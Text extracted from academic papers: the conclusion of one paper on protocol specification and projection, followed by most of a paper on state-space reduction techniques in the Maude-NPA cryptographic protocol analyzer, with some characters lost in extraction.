���� specification. Second, to “make explicit ... what is to be generated freshly during
a protocol run”, which we detect as step one of our transformation. In their work, they
do not require the usage of the � operator, but they do not revisit old messages, when
more information is available, as we do.

Caleiro et al. [8] study the semantics of traditional protocol specifications. In their
work, they focus on the internal actions of principals. They give a manual strategy for
encoding traditional whole-protocol specifications into a number of single-role spec-
ifications in their semantic framework. Their denotational semantics of these specifi-
cations makes explicit when and how incoming messages are checked and outgoing
messages generated. They also provide a transformation of their specifications into a
variant of the spi-calculus [2]. They prove that this transformation is meaningfully re-
lated to the denotational semantics. In contrast, our work takes traditional specifications
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mostly as-is and directly provides a semantics in the strand spaces model. We also pro-
vide a formally verified compilation to ���� for deployment purposes. An important
similarity in the two works is that in the their approach messages that cannot be un-
derstood are represented as variables in their “incremental symbolic runs”, while in our
approach, the idiom removal transformation introduces these variables directly into the
specification and checked when possible.

���� and Process Calculi. ���� is uncommon amongst cryptographic protocol calculi
and verifiers. Verifiers typically work with process calculi languages, such as the spi-
calculus [2]. In contrast to spi, ���� is not intended to be verified directly; instead, it
is meant to be used in implementations. Verification of ���� specifications is through
its semantic interpretation—the strand spaces model. This model has a rich body of
analysis research, as well as formal relations to many other verification methods, which
our work can seamlessly leverage for verification purposes.

7 Conclusion

We have presented ����, a programming language for whole-protocol specification,
along with an end-point projection from ���� to ����. We have shown that this projec-
tion is correct through verified proofs. We have also given a transformation that resolves
idioms in traditional protocol presentations. We have shown properties of this transfor-
mation with verified proofs. We have validated our transformations by applying them
successfully to eighty-six percent of the protocols in the ����� repository. In the future,
we would like to extend ���� to support conditional and parallel execution, and better
integrate our work with the existing results from Carbone, et al., for Web Services [9].
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Abstract. The Maude-NRL Protocol Analyzer (Maude-NPA) is a tool
and inference system for reasoning about the security of cryptographic
protocols in which the cryptosystems satisfy different equational prop-
erties. It both extends and provides a formal framework for the original
NRL Protocol Analyzer, which supported equational reasoning in a more
limited way. Maude-NPA supports a wide variety of algebraic properties
that includes many crypto-systems of interest such as, for example, one-
time pads and Diffie-Hellman. Maude-NPA, like the original NPA, looks
for attacks by searching backwards from an insecure attack state, and
assumes an unbounded number of sessions. Because of the unbounded
number of sessions and the support for different equational theories, it
is necessary to develop ways of reducing the search space and avoiding
infinite search paths. As a result, we have developed a number of state
space reduction techniques. In order for the techniques to prove useful,
they need not only to speed up the search, but should not violate sound-
ness so that failure to find attacks still guarantees security. In this paper
we describe the state space reduction techniques we use. We also pro-
vide soundness proofs, and experimental evaluations of their effect on
the performance of Maude-NPA.

1 Introduction

The Maude-NPA is a tool and inference system for reasoning about the security
of cryptographic protocols in which the cryptosystems satisfy different equational
properties. The tool handles searches in the unbounded session model, and thus
can be used to provide proofs of security as well as to search for attacks. It is the
next generation of the NRL Protocol Analyzer [11], a tool that supported limited
equational reasoning and was successfully applied to the analysis of many dif-
ferent protocols. In Maude-NPA we improve on the original NPA in three ways.
First of all, unlike NPA, which required considerable interaction with the user,
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Maude-NPA is completely automated. Secondly, its inference system has a for-
mal basis in terms of rewriting logic and narrowing, which allows us to provide
proofs of soundness and completeness [7]. Finally, the tool’s inference system
supports reasoning modulo the algebraic properties of cryptographic and other
functions. Such algebraic properties are expressed as equational theories whose
equations are confluent, coherent, and terminating modulo equational axioms
such as commutativity (C), associativity-commutativity (AC), or associativity-
commutativity plus identity (ACU) of some function symbols [6]. The Maude-
NPA has then both dedicated and generic methods for solving unification prob-
lems in such theories [5,4], which under appropriate checkable conditions yield
finitary unification algorithms [4].

Since Maude-NPA allows reasoning in the unbounded session model, and be-
cause it allows reasoning about different equational theories (which typically
generate many more solutions to unification problems than syntactic unifica-
tion, leading to bigger state spaces), it is necessary to find ways of pruning the
search space in order to prevent infinite or overwhelmingly large search spaces.
One technique for preventing infinite searches is the generation of formal gram-
mars describing terms unreachable by the intruder described in [11,7]. However,
grammars do not prune out all infinite searches, and there is a need for other
techniques. Moreover, even when a search space is finite it may still be neces-
sary to reduce it to a manageable size, and state space reduction techniques for
doing that will be necessary. In this paper we describe some of the major state
space reduction techniques that we have recently implemented in Maude-NPA,
and provide soundness proofs and experimental evaluations demonstrating an
average state-space size reduction of 96% (i.e., the average size of the reduced
state space is 4% of that of the original one) in the examples we have evaluated.
Furthermore, we show our combined techniques effective in obtaining a finite
state space for all protocols in our experiments.

We first describe the model of computation used by the Maude-NPA and
how we obtain a first state-space reduction by reducing the number of variables
present in a state. Also, we briefly describe how automatically generated gram-
mars provide a second reduction that cuts down the search space. The additional
state space reduction techniques presented in this paper are: (i) giving priority
to input messages in strands, (ii) early detection of inconsistent states (never
reaching an initial state), (iii) a relation of transition subsumption (to discard
transitions and states already being processed in another part of the search
space), and (iv) the super lazy intruder (to delay the generation of substitution
instances as much as possible). The rest of the paper is organized as follows.
After some preliminaries in Section 2, we describe in Section 3 how Maude-NPA
works. In Section 4, after a brief overview of the way grammars are used, we
describe the various state space reduction techniques that have been introduced
to control state explosion, and give proofs of their soundness. We also show their
relations to other optimization techniques in the literature. In Section 5 we de-
scribe out our experimental evaluation of the state-space reduction techniques.
In Section 6 we describe future work and conclude the paper.
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2 Preliminaries

We follow the classical notation and terminology from [16] for term rewriting
and from [12,13] for rewriting logic and order-sorted notions. We assume an
order-sorted signature Σ with a finite poset of sorts (S, ≤) and a finite number
of function symbols. We assume an S-sorted family X = {Xs}s∈S of disjoint
variable sets with each Xs countably infinite. TΣ(X )s is the set of terms of sort
s, and TΣ,s is the set of ground terms of sort s. We write TΣ(X ) and TΣ for the
corresponding term algebras. We write Var(t) for the set of variables present in
a term t. The set of positions of a term t is written Pos(t), and the set of non-
variable positions PosΣ(t). The root of a term is Λ. The subterm of t at position
p is t|p, and t[u]p is result of replacing t|p by u in t. A substitution σ is a sort-
preserving mapping from a finite subset of X to TΣ(X ). The identity substitution
is id. Substitutions are homomorphically extended to TΣ(X ). The restriction
of σ to a set of variables V is σ|V . The composition of two substitutions is
(σ ◦ θ)(X) = θ(σ(X)) for X ∈ X .

A Σ-equation is an unoriented pair t = t′, where t, t′ ∈ TΣ(X )s for some
sort s ∈ S. Given Σ and a set E of Σ-equations such that TΣ,s �= ∅ for every
sort s, order-sorted equational logic induces a congruence relation =E on terms
t, t′ ∈ TΣ(X ) (see [13]). Throughout this paper we assume that TΣ,s �= ∅ for every
sort s. An E-unifier for a Σ-equation t = t′ is a substitution σ s.t. σ(t) =E σ(t′).
A complete set of E-unifiers of an equation t = t′ is written CSUE(t = t′). We
say CSUE(t = t′) is finitary if it contains a finite number of E-unifiers.

A rewrite rule is an oriented pair l → r, where l �∈ X and l, r ∈ TΣ(X )s
for some sort s ∈ S. An (unconditional) order-sorted rewrite theory is a triple
R = (Σ, E, R) with Σ an order-sorted signature, E a set of Σ-equations, and R
a set of rewrite rules. A topmost rewrite theory is a rewrite theory s.t. for each
l → r ∈ R, l, r ∈ TΣ(X )State for a top sort State, r �∈ X , and no operator in Σ

has State as an argument sort. The rewriting relation →R on TΣ(X ) is t
p→R t′

(or →R) if p ∈ PosΣ(t), l → r ∈ R, t|p = σ(l), and t′ = t[σ(r)]p for some σ.
The rewriting relation →R,E on TΣ(X ) is t

Λ→R,E t′ (or →R,E) if l → r ∈ R,
t =E σ(l), and t′ = σ(r).

The narrowing relation �R on TΣ(X ) is t
p�σ,R t′ (or �σ,R, �R) if p ∈

PosΣ(t), l → r ∈ R, σ ∈ CSU∅(t|p = l), and t′ = σ(t[r]p). Assuming that E
has a finitary and complete unification algorithm, the narrowing relation �R,E

on TΣ(X ) is t
p�σ,R,E t′ (or �σ,R,E, �R,E) if p ∈ PosΣ(t), l → r ∈ R, σ ∈

CSUE(t|p = l), and t′ = σ(t[r]p).

3 The Maude-NPA’s Execution Model

In the Maude-NPA [7], protocols are specified with a notation derived from
strand spaces [10]. In a strand, a local execution of a protocol by a principal is
indicated by a sequence of messages [msg−1 , msg+

2 , msg−3 , . . . , msg−k−1, msg+
k ]

where nodes representing input messages are assigned a negative sign, and
nodes representing output messages are assigned a positive sign. In Maude-NPA,
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strands evolve over time and thus we use the symbol | to divide past and future
in a strand, i.e., [nil, msg±1 , . . . , msg±j−1 | msg±j , msg±j+1, . . . , msg±k , nil] where
msg±1 , . . . , msg±j−1 are the past messages, and msg±j , msg±j+1, . . . , msg±k are the
future messages (msg±j is the immediate future message). The nils are present so
that the bar may be placed at the beginning or end of the strand if necessary. A
strand [msg±1 , . . . , msg±k ] is a shorthand for [nil | msg±1 , . . . , msg±k , nil] and we
often remove the nils for clarity. We write P for the set of strands in a protocol.

A state is a set of Maude-NPA strands unioned together with an associative
and commutativity union operator & with identity operator ∅, along with an
additional term describing the intruder knowledge at that point. The intruder
knowledge is represented as a set of facts unioned together with an associative
and commutativity union operator , with identity operator ∅ and wrapped by
a function symbol { } as a state component. There are two kinds of intruder
facts: positive knowledge facts (the intruder knows m, i.e., m∈I), and negative
knowledge facts (the intruder does not yet know m but will know it in a future
state, i.e., m/∈I), where m is a message expression.

Strands communicate between them via a unique shared channel, i.e., by send-
ing messages to the channel and retrieving messages from the channel. However,
we do not explicitly represent the channel in our model. Instead, since the in-
truder is able to learn any message present in the channel, we use the intruder
knowledge as the channel. When the intruder observes a message in the channel,
then it learns it, i.e., a message m is learned in a transition (in a forward execu-
tion of the protocol) from a state with the fact m/∈I in its intruder knowledge
part to a state with the fact m∈I in its intruder knowledge part. The intruder
has the usual ability to read and redirect traffic, and can also perform opera-
tions, e.g., encryption, decryption, concatenation, exclusive or, exponentiation,
etc., on messages that it has received; the nature and algebraic properties of
such operations depend on the given cryptographic theory EP . Intruder opera-
tions are described in terms of the intruder sending messages to itself, which are
represented as different strands, one for each action. All intruder and protocol
strands are described symbolically, using a mixture of variables and constants,
so a single specification can stand for many concrete instances. There is no re-
striction on the number of principals, number of sessions, nonces, or time, i.e.,
no data abstraction or approximation is performed.

The user can make use of a special sort Fresh in the protocol-specific signature
Σ for representing fresh unguessable values, e.g., for nonces. The meaning of
a variable of sort Fresh is that it will never be instantiated by an E-unifier
generated during the backwards reachability analysis. This ensures that if nonces
are represented using variables of sort Fresh, they will never be merged and no
approximation for nonces is necessary. We make the Fresh variables generated
by a strand explicit by writing (r1, . . . , rk : Fresh) [msg±1 , . . . , msg±n ], where
r1, . . . , rk are all the variables of sort Fresh generated by msg±1 , . . . , msg±n .

The types and algebraic properties of the operators used in messages (cryp-
tographic and otherwise) are described as an equational theory EP .
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Example 1. [6] The Diffie-Hellman protocol uses exponentiation to achieve au-
thentication between two parties, A and B. The informal textbook-level protocol
description proceeds as follows.

1. A→B : {A, B, gNA} 2. B→A : {B, A, gNB} 3. A→B : {secret}
(gNB)NA

In the Maude-NPA formalization of the protocol, we explicitly specify the
signature Σ describing messages, nonces, etc. A nonce NA is denoted by n(A, r),
where r is a unique variable of sort Fresh. Concatenation of two messages,
e.g., NA and NB, is denoted by the operator ; , e.g., n(A, r) ; n(B, r′). En-
cryption of a message M is denoted by e(A, M), e.g., {NB}KB is denoted by
e(KB, n(B, r′)). Decryption is similarly denoted by d(A, M). Raising a message
M to the power of an exponent E (i.e., ME) is denoted by exp(M1, M2), e.g., gNB

is denoted by exp(g, n(B, r′)). Associative-commutative multiplication on nonces
is denoted by ∗ . A secret generated by a principal is denoted by sec(A, r),
where r is a unique variable of sort Fresh. The protocol-specific signature Σ is
as follows (Maude-NPA expects a sort Msg denoting messages in the protocol
specification):

a, b, i : → Name e, d : Key × Msg → Enc
n : Name × Fresh → Nonce ; : Msg × Msg → Msg g :→ Gen

exp : GenvExp × NonceSet → Exp _*_ : NonceSet × NonceSet → NonceSet

together with the following subsort relations Name, Nonce, Enc, Exp<Msg, Nonce
< NonceSet, and Gen, Exp < GenvExp. In the following we will use letters
A, B for variables of sort Name, letters r, r′, r′′ for variables of sort Fresh, and
letters M, M1, M2, Z for variables of sort Msg; whereas letters X, Y will also
represent variables, but their sort will depend on the concrete position in a
term. The encryption/decryption cancellation properties are described using
the equations e(X, d(X, Z)) = Z and d(X, e(X, Z)) = Z in EP . The key al-
gebraic property on exponentiations zxy

= zx∗y is described using the equation
exp(exp(W, Y ), Z) = exp(W, Y ∗Z) in EP (where W is of sort Gen instead of the
more general sort GenvExp in order to provide a finitary narrowing-based unifi-
cation procedure modulo EP , see [6]). Although multiplication modulo a prime
number has a unit and inverses, we have only included the algebraic property
that is necessary for Diffie-Hellman to work. The two strands P associated to
the three protocol steps shown above are:

(s1) (r, r′:Fresh)[ (A; B; exp(g, n(A, r)))+, (B; A; X)−, (e(exp(X,n(A, r)), sec(A, r′)))+]
(s2) (r′′:Fresh)[ (A;B; Y )−, (B;A; exp(g,n(B, r′′)))+, (e(exp(Y,n(B, r′′)), SR)−]

The following strands describe the intruder abilities according to the Dolev-
Yao attacker’s capabilities [3]. Note that the intruder cannot extract informa-
tion from either an exponentiation or a product of exponents, only compose
them.

(s3) [nil |M−
1 , M−

2 , (M1 ∗ M2)
+, nil ] Multiplication

(s4) [nil |M−
1 , M−

2 , exp(M1, M2)
+, nil ] Exponentiation
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(s5) [nil |g+, nil ] Generator

(s6) [nil |A+, nil ] All names are public

(s7) (nil, r′′′ : Fresh) [nil| n(i, r′′′)+ , nil ] Generation of its own nonces

3.1 Backwards Reachability Analysis

In order to understand many of the optimizations described in this paper, it is
important to know the execution rules in the Maude-NPA; see [7] for further
details. In principle, these are represented by the following rewrite rules1 (we
use letters L, L1, L2 for variables of sort SMsgList, letters K, K ′ for variables of
sort Knowledge, and letters SS, SS′ for variables of sort StrandSet):

R = { SS & [L | M−, L′] & {M∈I, K} → SS & [L, M− | L′] & {M∈I, K}, (1)

SS & [L | M+, L′] & {K} → SS & [L, M+ | L′] & {K}, (2)

SS & [L | M+, L′] & {M /∈I, K} →SS & [L, M+ | L′] & {M∈I, K} } (3)

Rule (1) synchronizes an input message with a message already learned by the
intruder, Rule (2) accepts output messages but the intruder’s knowledge is not
increased, and Rule (3) accepts output messages but the intruder’s knowledge is
positively increased.

In a backwards execution of the protocol using narrowing, which is the one
we are interested in, we start from an attack state, i.e., a term with variables,
containing (i) some of the strands of the protocol with the bar at the end, e.g.,
Strands (s1) and (s2) for Example 1, (ii) some terms the intruder knows at the
attack state, i.e., of the form t∈I, (iii) a variable SS denoting a set of strands, and
(iv) a variable IK denoting a set of intruder facts. We then perform narrowing
with the Rules (1)–(3) in reverse to move the bars of the strands to the left. Note
that variables SS and IK will be instantiated by narrowing to new strands or
new intruder knowledge in order to find an initial state.

However, in an intermediate state we can have many partially executed strands
together with many intruder strands from the Dolev-Yao attacker’s capabilities,
i.e., Strands (s3)–(s7). Thus, an initial or attack state in our tool may involve an
unbounded number of strands, which would be unfeasible. To avoid this prob-
lem, while still supporting a complete formal analysis for an unbounded number
of sessions, we can use a more perspicuous set of rewrite rules describing the pro-
tocol, where the necessary additional strands are introduced dynamically. The
key idea is to specialize Rule (3) using the different protocol strands; see [7] for
further details:

RP =R ∪ { [ l1 |u+, l2 ] & {u/∈I, K} → {u∈I, K} s.t. [ l1, u+, l2 ] ∈ P} (4)

1 The top level structure of the state is a multiset of strands formed with the &
union operator. The protocol and intruder rewrite rules are “essentially topmost”
in that, using an extension variable matching the “remaining strands” they can
always rewrite the whole state. Therefore, as explained in [14], completeness results
of narrowing for topmost theories also applies to them.
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Example 2. (Example 1 continued) The attack state we are looking for is one in
which Bob completes the protocol and the intruder is able to learn the secret.
The attack state pattern to be given as input to the system is:

(r′:Fresh)[ (A; B; Y )−,(B; A; exp(g,n(B, r′)))+,(e(exp(Y,n(B, r′)), sec(a, r′′))− | nil ]

& SS & {sec(a, r′′)∈I, IK}

Using the above attack state pattern our tool is able to find the following initial
state of the protocol, showing that the attack state is reachable:

[nil | exp(g, n(a, r)))−, Z−, exp(g, Z ∗ n(a, r))+] &

[nil | exp(g, n(b, r′)))−, W −, exp(g, W ∗ n(b, r′))+] &

[nil | exp(g, Z ∗ n(a, r))−, e(exp(g, W ∗ n(a, r)), sec(a, r′′))−, sec(a, r′′)+] &

[nil | exp(g, W ∗ n(b, r′))−, sec(a, r′′)−, e(exp(g, W ∗ n(b, r′)), sec(a, r′′))+] &

[nil | (a; b; exp(g, n(b, r′)))−, (b; exp(g, n(b, r′)))+] &

[nil | (a; A′; exp(g, n(a, r)))−, (A′; exp(g, n(a, r)))+] &

[nil | (b; exp(g, n(b, r′)))−, exp(g, n(b, r′))+] &

[nil | (A′; exp(g, n(a, r)))−, exp(g, n(a, r))+] &

(r′ : Fresh)
[nil | (a; b; exp(g, Y ))−, (a; b; exp(g, n(b, r′)))+, e(exp(g, W ∗ n(b, r′)), sec(a, r′′))−] &

(r′′, r : Fresh)
[nil | (a; A′; exp(g, n(a, r)))+, (a; A′; exp(g, Z))−, e(exp(g, Z ∗ n(a, r)), sec(a, r′′))+] &

{ sec(a, r′′)/∈I, e(exp(g, Z ∗ n(a, r)), sec(a, r′′))/∈I, e(exp(g, W ∗ n(b, r′)), sec(a, r′′))/∈I,
exp(g, n(a, r))/∈I, exp(g, n(b, r′))/∈I, exp(g, Z ∗ n(a, r))/∈I, exp(g, W ∗ n(b, r′))/∈I,
(a; b; exp(g, n(b, r′)))/∈I, (a; A′; exp(g, n(a, r)))/∈I, (b; exp(g, n(b, r′)))/∈I,
(A′; exp(g, n(a, r)))/∈I }

Note that strands not producing Fresh variables are intruder strands, while the
two strands producing fresh variables r, r′, r′′ are protocol strands. The concrete
message exchange sequence obtained by the reachability analysis is the following:

1.(a; b; exp(g, W ))−

2.(a; b; exp(g, n(b, r′)))+

3.(a; b; exp(g, n(b, r′)))−

4.(b; exp(g, n(b, r′)))+

5.(b; exp(g, n(b, r′)))−

6.(exp(g, n(b, r′)))+

7.(exp(g, n(b, r′)))−

8.W −

9.exp(g, W ∗ n(b, r′))+

10.(a; A′; exp(g, n(a, r)))+

11.(a; A′; exp(g, n(a, r)))−

12.(A′; exp(g, n(a, r)))+

13.(A′; exp(g, n(a, r)))−

14.(exp(g, n(a, r)))+

15.(exp(g, n(a, r)))−

16.Z−

17.exp(g, Z ∗ n(a, r))+

18.(a; A′; exp(g, Z))−

19.e(exp(g, Z ∗ n(a, r)), sec(a, r′′))+

20.e(exp(g, Z ∗ n(a, r)), sec(a, r′′))−

21.sec(a, r′′)+

22.exp(g, W ∗ n(b, r′))−

23.sec(a, r′′)−

24.e(exp(g, W ∗ n(b, r′), sec(a, r′′))+

25.e(exp(g, W ∗ n(b, r′)).sec(a, r′′))−

Step 1) describes principal b receiving an initiating message (no correspond-
ing send because of the super-lazy intruder). Step 2) describes b sending the
response, and 3) describes the intruder receiving it. Steps 4) through 9) describe
the intruder computing the key she will use to communicate with b. Step 10)
describes a initiating the protocol with a principal A′. Step 11) describes the
intruder receiving it, and steps 11) through 17) describe the intruder construct-
ing the key she will use to communicate with a. Steps 18) and 19) describe a
receiving the response from the intruder impersonating A′ and a sending the
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encrypted message. Steps 20) through 23) describe the intruder decrypting the
message to get the secret. In step 24) the intruder re-encrypts the secret in the
key she shares with b and sends it, and in step 25) b receives the message.

4 State Space Reduction Techniques

In this section, we describe the different state-reduction techniques identifying
unproductive narrowing steps St �σ,R−1

P ,EP
St′. There are three reasons for

doing this. One is to reduce the initially infinite search space to a finite one, as
in the use of grammars. Another is to reduce the size of a (possibly finite) search
space by eliminating unreachable states early, i.e., before they are eliminated by
exhaustive search. The latter can have an effect far beyond eliminating a single
node in the search space, since a single unreachable state could appear multiple
times and/or have multiple descendants before being eliminated. Finally, it is
also possible to use various partial order reduction techniques.

4.1 Limiting Dynamic Introduction of New Strands

As pointed out in Section 3.1, Rules (4) allow a dynamic introduction of new
strands. However, new strands can also be introduced by unification of a state
containing a variable SS denoting a set of strands and one of the Rules 1-3, where
variables L and L′ denoting lists of input/output messages will be introduced by
instantiation of SS. The same can happen with new intruder facts of the form
X∈I, where X is a variable. In order to avoid a huge number of unproductive
narrowing steps, we allow the introduction of new strands and/or new intruder
facts only by rule application instead of just by instantiation. For this, we do two
things: (i) remove any of the following variables from actual states: SS denoting
a set of strands, K denoting a set of intruder facts, and L, L′ denoting a set of
input/output messages; and (ii) replace Rule (1) by the following Rule (5), since
we do no longer have a variable denoting a set of intruder facts that has to be
instantiated:

SS & [L | M−, L′] & {M∈I, K}→SS & [L, M− | L′] & {K} (5)

Note that in order to replace Rule (1) by Rule (5) we have to assume that the
intruder knowledge is a set of intruder facts without repeated elements, i.e., the
union operator , is ACUI (associative-commutative-identity-idempotent). This
is completeness-preserving, since it is in line with the restriction in [7] that the
intruder learns a term only once; if the intruder needs to use a term twice he must
learn it the first time it is needed; if he learns a term and needs to learn it again in
the backwards search, the state will be discarded as unreachable. Therefore, the
set of rewrite rules used for backwards narrowing are RP = {(5), (2), (3)} ∪ (4).

4.2 Grammars

Grammars, unlike the other mechanisms discussed in this paper, appeared in the
original Maude-NPA paper [7]. We include a brief discussion here for complete-
ness. In [7], it is shown that Maude-NPA’s ability to reason well about low-level
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algebraic properties is a result of its combination of symbolic reachability analy-
sis using narrowing, together with its grammar-based techniques for reducing
the size of the search space. Here we briefly explain how grammars work as a
state space reduction technique and refer the reader to [7] for further details.

Automatically generated grammars 〈G1, . . . , Gm〉 represent unreachability in-
formation (or co-invariants), i.e., typically infinite sets of states unreachable for
the intruder. That is, given a message m and an automatically generated gram-
mar G, if m ∈ G, then there is no initial state Stinit and substitution θ such
that the intruder knowledge of Stinit contains the fact θ(m)/∈I. These automat-
ically generated grammars are very important in our framework, since in the
best case they can reduce the infinite search space to a finite one, or, at least,
can drastically reduce the search space. See [7] for further explanations.

Unlike NPA and the version of Maude-NPA described in [7], in which initial
grammars needed to be specified by the user, Maude-NPA now generates initial
grammars automatically. Each initial grammar consists of a single seed term
of the form C .→ f(X1, · · · , Xn)∈L, where f is an operator symbol from the
protocol specification, the Xi are variables, and C is either empty or consists of
the single constraint Xi∈I.

4.3 Partial Order Reduction Giving Priority to Input Messages

The different execution rules are in general executed nondeterministically. This
is because the order of execution can make a difference as to what subsequent
rules can be executed. For example, an intruder cannot receive a term until it is
sent by somebody, and that send within a strand may depend upon other receives
in the past. There is one exception, Rule (5) (originally Rule (1)), which, in a
backwards search, only moves a negative term appearing right before the bar into
the intruder knowledge. The execution of this transition in a backwards search
does not disable any other transitions; indeed, it only enables send transitions.
Thus, it is safe to execute it at each stage before any other transition. For the
same reason, if several applications of Rule 5 are possible, it is safe to execute
them all at once before any other transition. Requiring all executions of Rule
5 to execute first thus eliminates interleavings of Rule 5 with send and receive
transitions, which are equivalent to the case in which Rule 5 executes first. In
practice, this has cut down on the search space size on the order of 50%.

Similar strategies have been employed by other tools in forward searches. For
example, in [15], a strategy is introduced that always executes send transitions
first whenever they are enabled. Since a send transition does not depend on any
other part of the state in order to take place, it can safely be executed first.
The original NPA also used this strategy; it had a receive transition which had
the effect of adding new terms to the intruder knowledge, and which always was
executed before any other transition once it was enabled.

Proposition 1. Given a topmost rewrite theory R = (Σ, EP , RP) representing
protocol P and a state St. If St �σ1,R−1

P ,EP
St1 using Rule (5) in reverse (thus

with σ1 = id) and St �σ2,R−1
P ,EP

St2, then St1 �σ2,R−1
P ,EP

St2.
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4.4 Detecting Inconsistent States Early

There are several types of states that are always unreachable or inconsistent. If
the Maude-NPA attempts to search beyond them, it will never find an initial
state. For this reason, we augment the Maude-NPA search engine to always mark
the following types of states as unreachable, and not search beyond them any
further:

1. A state St containing two contradictory facts t∈I and t/∈I for a term t.
2. A state St whose intruder knowledge contains the fact t/∈I and a strand of

the form [m±
1 , . . . , t−, . . . , m±

j−1 | m±
j , . . . , m±

k ].
3. A state St containing a fact t∈I such that t contains a fresh variable r

and the strand in St indexed by r, i.e., (r1, . . . , r, . . . , rk : Fresh) [m±
1 , . . . ,

m±
j−1 | m±

j , . . . , m±
k ], cannot produce r, i.e., r is not a subterm of any output

message in m±
1 , . . . , m±

j−1.
4. A state St containing a strand of the form [m±

1 , . . . , t−, . . . , m±
j−1 | m±

j , . . . ,

m±
k ] for some term t such that t contains a fresh variable r and the strand

in St indexed by r cannot produce r.

Note that case 2 will become an instance of case 1 after some backwards narrow-
ing steps, and the same happens with cases 4 and 3. The proof of inconsistency
of cases 1 and 3 is obvious and we do not include it here.

4.5 Transition Subsumption

We define here a state relation in the spirit of both partial order reduction
techniques (POR) and the folding relations of [9], though a detailed study of the
relationship of such a state relation with folding and POR is left for future work.

In the following, we write IK∈ (resp. IK �∈) to denote the subset of intruder
facts of the form t∈I (resp. t/∈I) appearing in the set of intruder facts IK. We
abuse the set notation and write IK1 ⊆EP IK2 for IK1 and IK2 sets of intruder
facts to denote that all the intruder facts of IK1 appear in IK2 (modulo EP).

Definition 1. Given a topmost rewrite theory R = (Σ, EP , RP) representing
protocol P, and given two non-initial states St1 = SS1 & {IK1} and St2 =
SS2 & {IK2}, we write St1 � St2 (or St2 � St1) if IK∈

1 ⊆EP IK∈
2 , and for each

non-initial strand [ m±
1 , . . . , m±

j−1 | m±
j , . . . , m±

k ] ∈ SS1, there exists [ m±
1 , . . . ,

m±
j−1 | m±

j , . . . , m±
k , m±

k+1, . . . , m
±
k′ ] ∈ SS2. Note that the comparison of the

non-initial strand in SS1 with the strands in SS2 is performed modulo EP .

Definition 2 (P-subsumption relation). Given a topmost rewrite theory
R = (Σ, EP , RP) representing protocol P and two non-initial states St1, St2.
We write St1 /P St2 and say that St1 is P-subsumed by St2 if there is a
substitution θ s.t. St1 � θ(St2).

The following result provides the appropriate connection between the transition
P-subsumption and narrowing transitions. In the following, �

{0,1}
σ,R−1

P ,EP
denotes

zero or one narrowing steps.
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Proposition 2. Given a topmost rewrite theory R = (Σ, EP , RP) representing
protocol P and two non-initial states St1, St2. If St1 0P St2 and St2 �σ2,R−1

P ,EP

St′2, then there is a state St′1 and a substitution σ1 such that St1 �
{0,1}
σ1,R−1

P ,EP
St′1

and St′1 0P St′2.

Therefore, we keep all the states of the backwards narrowing-based tree and
compare each new leaf of the tree with all the previous states in the tree. If a
leaf is P-subsumed by a previously generated node in the tree, we discard such
leaf.

4.6 The Super Lazy Intruder

Sometimes terms appear in the intruder knowledge that are trivially learnable
by the intruder. These include terms initially available to the intruder (such
as names) and variables. In the case of variables, the intruder can substitute
any arbitrary term of the same sort as the variable,2 and so there is no need
to try to determine all the ways in which the intruder can do this. For this
reason it is safe, at least temporarily, to drop these terms from the state. We
will refer to those terms as lazy intruder terms. The problem of course, is that
later on in the search the variable may become instantiated, in which case the
term now becomes relevant to the search. In order to avoid this problem, we take
an approach similar to that of the lazy intruder of Basin et al. [1] and extend
it to a more general case, that we call the super-lazy terms. We note that this
use of what we here call the super-lazy intruder was also present in the original
NPA.

Super-lazy terms are defined inductively as the union of the set of lazy terms,
i.e., variables, with the set of terms that are produced out of other super-lazy
terms using operations available to the intruder. That is, e(K, X) is a super-lazy
term if the intruder can perform the e operation, and K and X are variables.
More precisely, the set of super-lazy intruder terms is defined as follows.

Definition 3. Given a topmost rewrite theory R = (Σ, EP , RP) representing
protocol P, and a state St where IK �∈(St) = {x | x/∈I ∈ St}, its set of super-
lazy terms w.r.t. St (or simply super-lazy terms) is defined as the union of the
following:

– the set of variables of sort Msg or one of its subsorts,
– the set of terms t appearing in strands of the form [t+], and
– the set of terms of the form f(t1, . . . , tn) where {t1, . . . , tn} are super-lazy

intruder terms w.r.t. St, {t1, . . . , tn} �⊆ IK �∈(St), and there is an intruder
strand [(X1)−, . . . , (Xn)−, (f(X1, . . . , Xn))+] with X1, . . . , Xn variables.

2 This, of course, is subject to the assumption that the intruder can produce at least
one term of that sort. But since the intruder is assumed to be a member of the
network with access to all the operations available to an honest principal, this is a
safe assumption to make.
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The idea behind the super-lazy intruder is that, given a term made out of lazy
intruder terms, such as a; e(K, Y ), where a is a public name and K and Y are
variables, the term a; e(K, Y ) is also a (super) lazy intruder term by applying
the operations e and ; .

Let us first briefly explain how the (super) lazy intruder mechanism works
before formally describing it. When we detect a state St with a super lazy term t,
we replace the intruder fact t∈I in St by a new expression ghost(t) and keep the
modified version of St in the history of states used by the transition subsumption
of Section 4.5. If later in the search tree we detect a state St′ containing an
expression ghost(t) such that t is no longer a super lazy intruder term (or ghost
expression), then t has been instantiated in an appropriate way and we must
reactivate the original state St that introduced the ghost(t) expression (and
that precedes St′ in the narrowing tree) with the new binding for variables in
t applied. That is, we “roll back” and replace the current state St′ with an
instantiated version of state St.

However, if the substitution θ binding variables in t includes variables of
sort Fresh, since they are unique in our model, we have to keep them in the
reactivated version of St. Therefore, the strands indexed by these fresh variables
must be included in the “rolled back” state, even if they were not there originally.
Moreover, they must have the bar at the place it was when the strands were
originally introduced. We show below how this is accomplished.

Furthermore, if any of the strands thus introduced have other variables of
sort Fresh as subterms, then the strands indexed by those variables must be
included too, and so on. Thus, when a state St′ properly instantiating a ghost
expression ghost(t) is found, the procedure of rolling back to the original state
St that gave rise to that ghost expression implies not only applying the bindings
for the variables of t to St, but also introducing in St all the strands from St′

that produced fresh variables and that either appear in the variables of t or are
recursively connected to them.

First, before formally defining the super-lazy intruder technique, we must
modify Rules 4 introducing new strands:

{ [ l1 |u+] & {u/∈I, K} → {u∈I, K} s.t. [ l1, u+, l2 ] ∈ P} (6)

Therefore, the set of rewrite rules used by narrowing in reverse are now RP =
{(5), (2), (3)} ∪ (6). Note that Rules (4) introduce strands [ l1 | u+, l2 ], whereas
here Rules (6) introduce strands [ l1 | u+ ]. This slight modification allows to
safely move the position of the bar back to the place where the strand was
introduced.

We extend the intruder knowledge to allow an extra fact ghost(t). We first de-
scribe how to reactivate a state. Given a strand s = (r1, . . . , rk : Fresh) [m±

1 , . . . |
. . . , m±

n ], when we want to move the bar to the rightmost position (denoting a
final strand), we write s1 = (r1, . . . , rk : Fresh) [m±

1 , . . . , m±
n | nil].

Definition 4. Given a state St containing an intruder fact ghost(t) for some term
